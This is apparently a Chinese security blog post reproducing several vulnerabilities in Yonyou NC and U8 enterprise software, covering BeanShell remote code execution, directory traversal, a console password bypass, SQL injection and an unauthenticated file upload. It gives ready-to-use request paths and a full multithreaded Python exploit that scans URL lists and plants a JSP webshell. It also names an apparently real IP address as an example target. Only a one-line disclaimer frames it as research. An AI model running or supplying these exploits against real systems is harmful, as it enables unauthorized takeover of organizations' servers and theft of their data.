【CNVD-2021-30167】 用友NC BeanShell远程代码执行漏洞
简介
用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一。
漏洞概述
该漏洞是由于用友NC对外开放了BeanShell测试接口,并没有设置权限,攻击者可利用该漏洞在未授权的情况下,构造恶意数据,执行任意代码,最终获取服务器最高权限。
影响版本
用友NC6.5版本
复现过程
无需登录,直接访问URL
http://xxx.xxx.xxx.xxx/servlet/~ic/bsh.servlet.BshServlet
进入BeanShell Test Servlet页面BeanShell Test Servlet页面有执行代码的接口,输入payload如:
exec("whoami");
即可看到命令执行成功。
- 该漏洞为第三方jar包的漏洞导致的。如果存在
servlet/~ic/bsh.servlet.BshServlet
路径且能正常访问,则大概率会存在该漏洞。
用友ERP-NC目录遍历+文件读取漏洞
漏洞描述
用友ERP-NC
存在目录遍历漏洞,攻击者可以通过目录遍历获取敏感文件信息
影响版本
用友ERP-NC
复现过程
- 无需登录,直接访问URL
http://xxx.xxx.xxx.xxx/NCFindWeb?service=IPreAlertConfigService&filename=
可查看当前目录
- 在filename后面加上文件名即可查看内容
- 尝试目录穿越读取敏感文件,发现网上大部分用友NC已经无法实现目录穿越,需在特定条件下才能满足,同时该漏洞的修复版本并位公开。
- 该漏洞为第三方jar包的漏洞导致的。如果存在
/NCFindWeb?service=IPreAlertConfigService&filename=
路径且能正常访问,则则存在该漏洞。
用友NC控制台密码绕过漏洞
漏洞描述
用友ERP-NC
控制台存在控制台密码绕过漏洞,攻击者可以输入默认密码123456或者抓取更改返回数据包实现任意用户登录。
影响版本
用友NC
复现过程
访问URL
http://183.252.48.82:81/uapws/index.jsp
进入控制台登录页面如果password项存在内容,则直接点击OK即可登录,如果不存在内容,则输入任意内容,后更改返回数据包由0变为1即可实现登录。
- 如上图所示,成功登录后台。
用友NC Cloud FS文件管理SQL注入漏洞
漏洞描述
用友
NCCloud FS
文件管理登录页面对用户名参数没有过滤,存在SQL
注入。影响版本
用友NC
复现过程
访问文件服务器管理登录页面
输入任意用户名和密码,提交登录后截取数据包
发现为POST请求,说明该漏洞已经修复。如果为get请求则存在SQL注入。
用友NC 6.5未授权文件上传漏洞
漏洞描述
用友 NC6.5
版本存在未授权文件上传漏洞,攻击者可以未授权上传任意文件,进而获取服务端控制权限。
4.2. 影响版本
用友NC6.5版本
4.3. 复现过程
查看页面
/servlet/~uapss/com.yonyou.ante.servlet.FileReceiveServlet
内容如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25private void handleRequest(HttpServletRequest req, HttpServletResponse resp) {
ServletInputStream servletInputStream;
ServletOutputStream servletOutputStream;
InputStream in = null;
ObjectInputStream ois = null;
FileOutputStream os = null;
OutputStream rtnos = null;
String path = "";
String fileName = "";
try {
servletInputStream = req.getInputStream();
servletOutputStream = resp.getOutputStream();
ois = new ObjectInputStream((InputStream)servletInputStream);
Map<String, Object> metaInfo = null;
metaInfo = (Map<String, Object>)ois.readObject();
path = (String)metaInfo.get("TARGET_FILE_PATH");
fileName = (String)metaInfo.get("FILE_NAME");
File outFile = new File(path, fileName);
os = new FileOutputStream(outFile);
byte[] buffer = new byte[1024];
int receiveCount = 0;
while ((receiveCount = servletInputStream.read(buffer, 0, 1024)) != -1)
os.write(buffer, 0, receiveCount);
os.flush();
servletOutputStream.write(1);可以上传一个反序列化的map,使用TARGET_FILE_PATH和FILE_NAME键确定文件位置,再向后拼接文件内容,实现文件上传。
利用poc如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67import requests
import threadpool
import urllib3
import sys
import argparse
urllib3.disable_warnings()
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
header = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "https://google.com",
}
def multithreading(funcname, filename="url.txt", pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")]
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(funcname, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
def wirte_targets(vurl, filename):
with open(filename, "a+") as f:
f.write(vurl + "\n")
return vurl
def exp(u):
uploadHeader = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Content-Type": "multipart/form-data;",
"Referer": "https://google.com"
}
uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"
shellFlag="t0test0ls"
uploadData+=shellFlag
try:
req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)
if req1.status_code == 200 :
req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)
if req3.text.index(shellFlag)>=0:
printFlag = "[Getshell]" + u+"/t00ls.jsp" + "\n"
print (printFlag)
wirte_targets(printFlag, "vuln.txt")
except :
pass
#print(printFlag, end="")
if __name__ == "__main__":
if (len(sys.argv)) < 2:
print('useage : python' +str(sys.argv[0]) + ' -h')
else:
parser =argparse.ArgumentParser()
parser.description ='YONYOU UC 6.5 FILE UPLOAD!'
parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')
parser.add_argument('-r',help="url list to file",type=str,dest='check_file')
args =parser.parse_args()
if args.check_url:
exp(args.check_url)
if(args.check_file):
multithreading(exp, args.check_file, 8)利用POC成功上传t00ls.jsp文件
可以通过该漏洞实现上传webshell。
用友U8 OA SQL注入漏洞
漏洞描述
用友 U8 OA test.jsp
文件存在 SQL
注入漏洞。
影响版本
用友 U8 OA
复现过程
检测漏洞URL为
/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))
,访问链接显示如下,存在SQL注入漏洞使用SQLmap尝试SQL注入测试,显示存在漏洞。
综合利用EXP
github上有用友NC的综合利用EXP:https://github.com/asdasdqkq1/yonyou-nc-exp
涉及漏洞包括:
- 【CNVD-2021-30167】 用友NC BeanShell远程代码执行漏洞
- 用友ERP-NC目录遍历+文件读取漏洞
- 用友NC 6.5未授权文件上传漏洞(RCE)
- 用友ERP SQL注入漏洞(该漏洞目前网站基本已经不存在,故前面无法复现,没有介绍)
- 用友U8 OA SQL注入漏洞
测试结果如下:
注:仅当作技术研究,请勿用于非法用途 后果作者概不负责!!!